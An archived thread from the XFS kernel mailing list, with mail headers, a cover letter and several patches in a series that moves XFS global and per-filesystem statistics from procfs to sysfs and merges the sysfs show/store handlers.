mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802976 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 As a part of the work to move xfs global stats from procfs to sysfs, this patch creates the symlink from proc/fs/xfs/stat to sys/fs/xfs/stats. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_stats.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index e19b84a..e6efebb 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -243,9 +243,10 @@ xfs_init_procfs(void) if (!proc_mkdir("fs/xfs", NULL)) goto out; - if (!proc_create("fs/xfs/stat", 0, NULL, - &xfs_stat_proc_fops)) + if (!proc_symlink("fs/xfs/stat", NULL, + "/sys/fs/xfs/stats/stats")) goto out_remove_xfs_dir; + #ifdef CONFIG_XFS_QUOTA if (!proc_create("fs/xfs/xqmstat", 0, NULL, &xqmstat_proc_fops)) -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:22:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7FFBB7F56 for ; Fri, 2 Oct 2015 11:22:58 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 60804304043 for ; Fri, 2 Oct 2015 09:22:58 -0700 (PDT) X-ASG-Debug-ID: 1443802977-04cbb033b21d41b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RR1Wsuvq7XAPpaxi (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:57 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id F1C528CF73 for ; Fri, 2 Oct 2015 16:22:56 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqqA005602 for ; Fri, 2 Oct 2015 12:22:56 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 3/7] xfs: remove unused procfs code Date: Fri, 2 Oct 2015 11:22:36 -0500 X-ASG-Orig-Subj: [PATCH 3/7] xfs: remove unused procfs code Message-Id: <1443802960-26662-4-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802977 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 As a part of the work to move xfs global stats from procfs to sysfs, this patch removes the now unused procfs code that was xfs stat specific. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_stats.c | 74 ------------------------------------------------------ 1 file changed, 74 deletions(-) diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index e6efebb..f481da0 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -111,80 +111,6 @@ void xfs_stats_clearall(void) } } -static int xfs_stat_proc_show(struct seq_file *m, void *v) -{ - int i, j; - __uint64_t xs_xstrat_bytes = 0; - __uint64_t xs_write_bytes = 0; - __uint64_t xs_read_bytes = 0; - - static const struct xstats_entry { - char *desc; - int endpoint; - } xstats[] = { - { "extent_alloc", XFSSTAT_END_EXTENT_ALLOC }, - { "abt", XFSSTAT_END_ALLOC_BTREE }, - { "blk_map", XFSSTAT_END_BLOCK_MAPPING }, - { "bmbt", XFSSTAT_END_BLOCK_MAP_BTREE }, - { "dir", XFSSTAT_END_DIRECTORY_OPS }, - { "trans", XFSSTAT_END_TRANSACTIONS }, - { "ig", XFSSTAT_END_INODE_OPS }, - { "log", XFSSTAT_END_LOG_OPS }, - { "push_ail", XFSSTAT_END_TAIL_PUSHING }, - { "xstrat", XFSSTAT_END_WRITE_CONVERT }, - { "rw", XFSSTAT_END_READ_WRITE_OPS }, - { "attr", XFSSTAT_END_ATTRIBUTE_OPS }, - { "icluster", XFSSTAT_END_INODE_CLUSTER }, - { "vnodes", XFSSTAT_END_VNODE_OPS }, - { "buf", XFSSTAT_END_BUF }, - { "abtb2", XFSSTAT_END_ABTB_V2 }, - { "abtc2", XFSSTAT_END_ABTC_V2 }, - { "bmbt2", XFSSTAT_END_BMBT_V2 }, - { "ibt2", XFSSTAT_END_IBT_V2 }, - { "fibt2", XFSSTAT_END_FIBT_V2 }, - /* we print both series of quota information together */ - { "qm", XFSSTAT_END_QM }, - }; - - /* Loop over all stats groups */ - for (i = j = 0; i < ARRAY_SIZE(xstats); i++) { - seq_printf(m, "%s", xstats[i].desc); - /* inner loop does each group */ - for (; j < xstats[i].endpoint; j++) - seq_printf(m, " %u", counter_val(j)); - seq_putc(m, '\n'); - } - /* extra precision counters */ - for_each_possible_cpu(i) { - xs_xstrat_bytes += per_cpu(xfsstats, i).xs_xstrat_bytes; - xs_write_bytes += per_cpu(xfsstats, i).xs_write_bytes; - xs_read_bytes += per_cpu(xfsstats, i).xs_read_bytes; - } - - seq_printf(m, "xpc %Lu %Lu %Lu\n", - xs_xstrat_bytes, xs_write_bytes, xs_read_bytes); - seq_printf(m, "debug %u\n", -#if defined(DEBUG) - 1); -#else - 0); -#endif - return 0; -} - -static int xfs_stat_proc_open(struct inode *inode, struct file *file) -{ - return single_open(file, xfs_stat_proc_show, NULL); -} - -static const struct file_operations xfs_stat_proc_fops = { - .owner = THIS_MODULE, - .open = xfs_stat_proc_open, - .read = seq_read, - .llseek = seq_lseek, - .release = single_release, -}; - /* legacy quota interfaces */ #ifdef CONFIG_XFS_QUOTA static int xqm_proc_show(struct seq_file *m, void *v) -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:22:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 89E427F55 for ; Fri, 2 Oct 2015 11:22:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id E785DAC022 for ; Fri, 2 Oct 2015 09:22:55 -0700 (PDT) X-ASG-Debug-ID: 1443802974-04cbb033b01d41a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id VJdfbNAy79AuNIO6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:54 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 1FB472FE84F for ; Fri, 2 Oct 2015 16:22:54 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqq7005602 for ; Fri, 2 Oct 2015 12:22:53 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 0/7 v10] xfs: per-fs stats in sysfs Date: Fri, 2 Oct 2015 11:22:33 -0500 X-ASG-Orig-Subj: [PATCH 0/7 v10] xfs: per-fs stats in sysfs Message-Id: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802974 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hello- Following is the next iteration of the series to add per-fs xfs stats to sysfs. ----------history--------------- v10: -style fixups in patches 1,4,5,7 v9: -adjust individual patch content, so that fixes actually correspond to reviews accordingly. -fix xfs_btree.h XFS_BTREE_STATS_ADD macro error made in patch 7. -fix xfs_stats.h macro style errors made in patch 7 v8: (add patches 6 and 7) -patch 6: per-filesystem stats in sysfs. Implement per-filesystem stats objects in sysfs. Stats objects are instantiated when an xfs filesystem is mounted and deleted on unmount. With this patch, the stats directory is created and populated with the familiar stats and stats_clear files. Example: /sys/fs/xfs/sda9/stats/stats /sys/fs/xfs/sda9/stats/stats_clear With this patch, the individual counts within the new per-fs stats file(s) remain at zero. Functions that use the the macros to increment, decrement, and add-to the per-fs stats counts will be covered in the next patch (7). -patch 7: per-filesystem stats counter implementation Modify the stats counting macros and the callers to those macros to properly increment, decrement, and add-to the xfs stats counts. The counts for global and per-fs stats are correctly advanced, and cleared by writing a "1" to the corresponding clear file. global counts: /sys/fs/xfs/stats/stats per-fs counts: /sys/fs/xfs/sda*/stats/stats global clear: /sys/fs/xfs/stats/stats_clear per-fs clear: /sys/fs/xfs/sda*/stats/stats_clear v7: add patch 5/5: incorporate sysfs/kobject in xfsstats: handlers take kobjects. Allocate & deallocate per-fs stats structures and set up the sysfs entries for them. Add kobject and a pointer to a per-cpu struct xfsstats. Modify the macros that manipulate the stats accordingly. v6: -move to_xlog(kobject) to the relevant show/store operations. This keeps the xfs_sysfs_object_show/store functions generic. Also, with the change, there can be some cleanup of the show/store function arguments. v5: -optimization of sysfs_ops function. -style fixups v4: -add patch 4 (sysfs ops consolidation - dbg, stats, log) v3: -style fixups. v2: -style fixups. v1: -------------------------------- We already have per-fs information in /sys, so it makes sense to have per-fs stats there too. The series moves existing global stats infrastructure to /sys and reuses that code to create per-fs stats in /sys. Patch 1 handles the bring-up and tear down of xfs/stats directory structure in sysfs when an fs is mounted. The directory contains the stats file and the stats_clear file. The stats file contents mimic those of /proc/fs/xfs/stat. The stats_clear file is empty, and much like the current stat_clear command, handles the zeroing of the stats file when a "1" is echoed to the stats_clear file. Patch 2 creates the symlink for stats from procfs to sysfs. Patch 3 removes the now unused portions of procfs for stat. Patch 4 consolidates the sysfs ops for dbg, stats, log. Patch 5 allocates and deallocates per-fs stats structures and sets up the sysfs entries for them. Add kobject and a pointer to a per-cpu struct xfsstats. Modify the macros that manipulate Patch 6 implements per-filesystem stats objects in sysfs. Stats objects are instantiated when an xfs filesystem is mounted and deleted on unmount. Patch 7 modifies the stats counting macros and the callers to those macros to properly increment, decrement, and add-to the xfs stats counts. The counts for global and per-fs stats are correctly advanced, and cleared by writing a "1" to the corresponding clear file. Once again, comments and questions are welcome. Thanks- Bill From billodo@redhat.com Fri Oct 2 11:23:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 178C67F55 for ; Fri, 2 Oct 2015 11:23:00 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id C6DD9304053 for ; Fri, 2 Oct 2015 09:22:59 -0700 (PDT) X-ASG-Debug-ID: 1443802977-04bdf046271b86c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id krPb8kjGw4fFYTLb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:58 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id E5058C0B64DD for ; Fri, 2 Oct 2015 16:22:57 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqqB005602 for ; Fri, 2 Oct 2015 12:22:57 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 4/7] xfs: consolidate sysfs ops (dbg, stats, log) Date: Fri, 2 Oct 2015 11:22:37 -0500 X-ASG-Orig-Subj: [PATCH 4/7] xfs: consolidate sysfs ops (dbg, stats, log) Message-Id: <1443802960-26662-5-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802978 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 As a part of the series to move xfs global stats from procfs to sysfs, this patch consolidates the sysfs ops functions and removes redundancy. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_sysfs.c | 182 +++++++++++++++++++---------------------------------- 1 file changed, 63 insertions(+), 119 deletions(-) diff --git a/fs/xfs/xfs_sysfs.c b/fs/xfs/xfs_sysfs.c index a094e20..fa3dc66 100644 --- a/fs/xfs/xfs_sysfs.c +++ b/fs/xfs/xfs_sysfs.c @@ -25,8 +25,9 @@ struct xfs_sysfs_attr { struct attribute attr; - ssize_t (*show)(char *buf, void *data); - ssize_t (*store)(const char *buf, size_t count, void *data); + ssize_t (*show)(struct kobject *kobject, char *buf); + ssize_t (*store)(struct kobject *kobject, const char *buf, + size_t count); }; static inline struct xfs_sysfs_attr * @@ -54,14 +55,42 @@ struct kobj_type xfs_mp_ktype = { .release = xfs_sysfs_release, }; +STATIC ssize_t +xfs_sysfs_object_show( + struct kobject *kobject, + struct attribute *attr, + char *buf) +{ + struct xfs_sysfs_attr *xfs_attr = to_attr(attr); + + return xfs_attr->show ? xfs_attr->show(kobject, buf) : 0; +} + +STATIC ssize_t +xfs_sysfs_object_store( + struct kobject *kobject, + struct attribute *attr, + const char *buf, + size_t count) +{ + struct xfs_sysfs_attr *xfs_attr = to_attr(attr); + + return xfs_attr->store ? xfs_attr->store(kobject, buf, count) : 0; +} + +static const struct sysfs_ops xfs_sysfs_ops = { + .show = xfs_sysfs_object_show, + .store = xfs_sysfs_object_store, +}; + #ifdef DEBUG /* debug */ STATIC ssize_t log_recovery_delay_store( + struct kobject *kobject, const char *buf, - size_t count, - void *data) + size_t count) { int ret; int val; @@ -80,8 +109,8 @@ log_recovery_delay_store( STATIC ssize_t log_recovery_delay_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) { return snprintf(buf, PAGE_SIZE, "%d\n", xfs_globals.log_recovery_delay); } @@ -92,49 +121,20 @@ static struct attribute *xfs_dbg_attrs[] = { NULL, }; -STATIC ssize_t -xfs_dbg_show( - struct kobject *kobject, - struct attribute *attr, - char *buf) -{ - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->show ? xfs_attr->show(buf, NULL) : 0; -} - -STATIC ssize_t -xfs_dbg_store( - struct kobject *kobject, - struct attribute *attr, - const char *buf, - size_t count) -{ - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->store ? xfs_attr->store(buf, count, NULL) : 0; -} - -static struct sysfs_ops xfs_dbg_ops = { - .show = xfs_dbg_show, - .store = xfs_dbg_store, -}; - struct kobj_type xfs_dbg_ktype = { .release = xfs_sysfs_release, - .sysfs_ops = &xfs_dbg_ops, + .sysfs_ops = &xfs_sysfs_ops, .default_attrs = xfs_dbg_attrs, }; #endif /* DEBUG */ - /* stats */ STATIC ssize_t stats_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) { return xfs_stats_format(buf); } @@ -142,9 +142,9 @@ XFS_SYSFS_ATTR_RO(stats); STATIC ssize_t stats_clear_store( + struct kobject *kobject, const char *buf, - size_t count, - void *data) + size_t count) { int ret; int val; @@ -166,50 +166,30 @@ static struct attribute *xfs_stats_attrs[] = { NULL, }; -STATIC ssize_t -xfs_stats_show( - struct kobject *kobject, - struct attribute *attr, - char *buf) -{ - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->show ? xfs_attr->show(buf, NULL) : 0; -} - -STATIC ssize_t -xfs_stats_store( - struct kobject *kobject, - struct attribute *attr, - const char *buf, - size_t count) -{ - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->store ? xfs_attr->store(buf, count, NULL) : 0; -} - -static struct sysfs_ops xfs_stats_ops = { - .show = xfs_stats_show, - .store = xfs_stats_store, -}; - struct kobj_type xfs_stats_ktype = { .release = xfs_sysfs_release, - .sysfs_ops = &xfs_stats_ops, + .sysfs_ops = &xfs_sysfs_ops, .default_attrs = xfs_stats_attrs, }; /* xlog */ +static inline struct xlog * +to_xlog(struct kobject *kobject) +{ + struct xfs_kobj *kobj = to_kobj(kobject); + + return container_of(kobj, struct xlog, l_kobj); +} + STATIC ssize_t log_head_lsn_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) { - struct xlog *log = data; int cycle; int block; + struct xlog *log = to_xlog(kobject); spin_lock(&log->l_icloglock); cycle = log->l_curr_cycle; @@ -222,12 +202,12 @@ XFS_SYSFS_ATTR_RO(log_head_lsn); STATIC ssize_t log_tail_lsn_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) { - struct xlog *log = data; int cycle; int block; + struct xlog *log = to_xlog(kobject); xlog_crack_atomic_lsn(&log->l_tail_lsn, &cycle, &block); return snprintf(buf, PAGE_SIZE, "%d:%d\n", cycle, block); @@ -236,12 +216,13 @@ XFS_SYSFS_ATTR_RO(log_tail_lsn); STATIC ssize_t reserve_grant_head_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) + { - struct xlog *log = data; int cycle; int bytes; + struct xlog *log = to_xlog(kobject); xlog_crack_grant_head(&log->l_reserve_head.grant, &cycle, &bytes); return snprintf(buf, PAGE_SIZE, "%d:%d\n", cycle, bytes); @@ -250,12 +231,12 @@ XFS_SYSFS_ATTR_RO(reserve_grant_head); STATIC ssize_t write_grant_head_show( - char *buf, - void *data) + struct kobject *kobject, + char *buf) { - struct xlog *log = data; int cycle; int bytes; + struct xlog *log = to_xlog(kobject); xlog_crack_grant_head(&log->l_write_head.grant, &cycle, &bytes); return snprintf(buf, PAGE_SIZE, "%d:%d\n", cycle, bytes); @@ -270,45 +251,8 @@ static struct attribute *xfs_log_attrs[] = { NULL, }; -static inline struct xlog * -to_xlog(struct kobject *kobject) -{ - struct xfs_kobj *kobj = to_kobj(kobject); - return container_of(kobj, struct xlog, l_kobj); -} - -STATIC ssize_t -xfs_log_show( - struct kobject *kobject, - struct attribute *attr, - char *buf) -{ - struct xlog *log = to_xlog(kobject); - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->show ? xfs_attr->show(buf, log) : 0; -} - -STATIC ssize_t -xfs_log_store( - struct kobject *kobject, - struct attribute *attr, - const char *buf, - size_t count) -{ - struct xlog *log = to_xlog(kobject); - struct xfs_sysfs_attr *xfs_attr = to_attr(attr); - - return xfs_attr->store ? xfs_attr->store(buf, count, log) : 0; -} - -static struct sysfs_ops xfs_log_ops = { - .show = xfs_log_show, - .store = xfs_log_store, -}; - struct kobj_type xfs_log_ktype = { .release = xfs_sysfs_release, - .sysfs_ops = &xfs_log_ops, + .sysfs_ops = &xfs_sysfs_ops, .default_attrs = xfs_log_attrs, }; -- 2.4.3 From billodo@redhat.com Fri Oct 2 11:23:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5E28E7F5D for ; Fri, 2 Oct 2015 11:23:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1BAA2304043 for ; Fri, 2 Oct 2015 09:22:57 -0700 (PDT) X-ASG-Debug-ID: 1443802975-04cbb033b31d41b0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id NRkb97hiacjNbDx3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 09:22:55 -0700 (PDT) X-Barracuda-Envelope-From: billodo@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 0D2308E689 for ; Fri, 2 Oct 2015 16:22:55 +0000 (UTC) Received: from localhost.localdomain.com (vpn-48-121.rdu2.redhat.com [10.10.48.121]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92GMqq8005602 for ; Fri, 2 Oct 2015 12:22:54 -0400 From: "Bill O'Donnell" To: xfs@oss.sgi.com Subject: [PATCH 1/7] xfs: create global stats and stats_clear in sysfs Date: Fri, 2 Oct 2015 11:22:34 -0500 X-ASG-Orig-Subj: [PATCH 1/7] xfs: create global stats and stats_clear in sysfs Message-Id: <1443802960-26662-2-git-send-email-billodo@redhat.com> In-Reply-To: <1443802960-26662-1-git-send-email-billodo@redhat.com> References: <1443802960-26662-1-git-send-email-billodo@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443802975 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently, xfs global stats are in procfs. This patch introduces (replicates) the global stats in sysfs. Additionally a stats_clear file is introduced in sysfs. Signed-off-by: Bill O'Donnell --- fs/xfs/xfs_stats.c | 82 +++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_stats.h | 2 ++ fs/xfs/xfs_super.c | 20 +++++++++---- fs/xfs/xfs_sysctl.c | 15 ++-------- fs/xfs/xfs_sysfs.c | 75 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_sysfs.h | 1 + 6 files changed, 178 insertions(+), 17 deletions(-) diff --git a/fs/xfs/xfs_stats.c b/fs/xfs/xfs_stats.c index f224038..e19b84a 100644 --- a/fs/xfs/xfs_stats.c +++ b/fs/xfs/xfs_stats.c @@ -29,6 +29,88 @@ static int counter_val(int idx) return val; } +int xfs_stats_format(char *buf) +{ + int i, j; + int len = 0; + __uint64_t xs_xstrat_bytes = 0; + __uint64_t xs_write_bytes = 0; + __uint64_t xs_read_bytes = 0; + + static const struct xstats_entry { + char *desc; + int endpoint; + } xstats[] = { + { "extent_alloc", XFSSTAT_END_EXTENT_ALLOC }, + { "abt", XFSSTAT_END_ALLOC_BTREE }, + { "blk_map", XFSSTAT_END_BLOCK_MAPPING }, + { "bmbt", XFSSTAT_END_BLOCK_MAP_BTREE }, + { "dir", XFSSTAT_END_DIRECTORY_OPS }, + { "trans", XFSSTAT_END_TRANSACTIONS }, + { "ig", XFSSTAT_END_INODE_OPS }, + { "log", XFSSTAT_END_LOG_OPS }, + { "push_ail", XFSSTAT_END_TAIL_PUSHING }, + { "xstrat", XFSSTAT_END_WRITE_CONVERT }, + { "rw", XFSSTAT_END_READ_WRITE_OPS }, + { "attr", XFSSTAT_END_ATTRIBUTE_OPS }, + { "icluster", XFSSTAT_END_INODE_CLUSTER }, + { "vnodes", XFSSTAT_END_VNODE_OPS }, + { "buf", XFSSTAT_END_BUF }, + { "abtb2", XFSSTAT_END_ABTB_V2 }, + { "abtc2", XFSSTAT_END_ABTC_V2 }, + { "bmbt2", XFSSTAT_END_BMBT_V2 }, + { "ibt2", XFSSTAT_END_IBT_V2 }, + { "fibt2", XFSSTAT_END_FIBT_V2 }, + /* we print both series of quota information together */ + { "qm", XFSSTAT_END_QM }, + }; + + /* Loop over all stats groups */ + + for (i = j = 0; i < ARRAY_SIZE(xstats); i++) { + len += snprintf(buf + len, PATH_MAX - len, "%s", + xstats[i].desc); + /* inner loop does each group */ + for (; j < xstats[i].endpoint; j++) + len += snprintf(buf + len, PATH_MAX - len, " %u", + counter_val(j)); + len += snprintf(buf + len, PATH_MAX - len, "\n"); + } + /* extra precision counters */ + for_each_possible_cpu(i) { + xs_xstrat_bytes += per_cpu(xfsstats, i).xs_xstrat_bytes; + xs_write_bytes += per_cpu(xfsstats, i).xs_write_bytes; + xs_read_bytes += per_cpu(xfsstats, i).xs_read_bytes; + } + + len += snprintf(buf + len, PATH_MAX-len, "xpc %Lu %Lu %Lu\n", + xs_xstrat_bytes, xs_write_bytes, xs_read_bytes); + len += snprintf(buf + len, PATH_MAX-len, "debug %u\n", +#if defined(DEBUG) + 1); +#else + 0); +#endif + + return len; +} + +void xfs_stats_clearall(void) +{ + int c; + __uint32_t vn_active; + + xfs_notice(NULL, "Clearing xfsstats"); + for_each_possible_cpu(c) { + preempt_disable(); + /* save vn_active, it's a universal truth! */ + vn_active = per_cpu(xfsstats, c).vn_active; + memset(&per_cpu(xfsstats, c), 0, sizeof(struct xfsstats)); + per_cpu(xfsstats, c).vn_active = vn_active; + preempt_enable(); + } +} + static int xfs_stat_proc_show(struct seq_file *m, void *v) { int i, j; diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h index c8f238b..18807b5 100644 --- a/fs/xfs/xfs_stats.h +++ b/fs/xfs/xfs_stats.h @@ -18,6 +18,8 @@ #ifndef __XFS_STATS_H__ #define __XFS_STATS_H__ +int xfs_stats_format(char *buf); +void xfs_stats_clearall(void); #if defined(CONFIG_PROC_FS) && !defined(XFS_STATS_OFF) diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 904f637..0dfc53b 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -61,6 +61,7 @@ static kmem_zone_t *xfs_ioend_zone; mempool_t *xfs_ioend_pool; static struct kset *xfs_kset; /* top-level xfs sysfs dir */ +static struct xfs_kobj xfs_stats_kobj; /* global stats sysfs attrs */ #ifdef DEBUG static struct xfs_kobj xfs_dbg_kobj; /* global debug sysfs attrs */ #endif @@ -1838,19 +1839,25 @@ init_xfs_fs(void) xfs_kset = kset_create_and_add("xfs", NULL, fs_kobj); if (!xfs_kset) { error = -ENOMEM; - goto out_sysctl_unregister;; + goto out_sysctl_unregister; } + xfs_stats_kobj.kobject.kset = xfs_kset; + error = xfs_sysfs_init(&xfs_stats_kobj, &xfs_stats_ktype, NULL, + "stats"); + if (error) + goto out_kset_unregister; + #ifdef DEBUG xfs_dbg_kobj.kobject.kset = xfs_kset; error = xfs_sysfs_init(&xfs_dbg_kobj, &xfs_dbg_ktype, NULL, "debug"); if (error) - goto out_kset_unregister; + goto out_remove_stats_kobj; #endif error = xfs_qm_init(); if (error) - goto out_remove_kobj; + goto out_remove_dbg_kobj; error = register_filesystem(&xfs_fs_type); if (error) @@ -1859,11 +1866,13 @@ init_xfs_fs(void) out_qm_exit: xfs_qm_exit(); - out_remove_kobj: + out_remove_dbg_kobj: #ifdef DEBUG xfs_sysfs_del(&xfs_dbg_kobj); - out_kset_unregister: + out_remove_stats_kobj: #endif + xfs_sysfs_del(&xfs_stats_kobj); + out_kset_unregister: kset_unregister(xfs_kset); out_sysctl_unregister: xfs_sysctl_unregister(); @@ -1889,6 +1898,7 @@ exit_xfs_fs(void) #ifdef DEBUG xfs_sysfs_del(&xfs_dbg_kobj); #endif + xfs_sysfs_del(&xfs_stats_kobj); kset_unregister(xfs_kset); xfs_sysctl_unregister(); 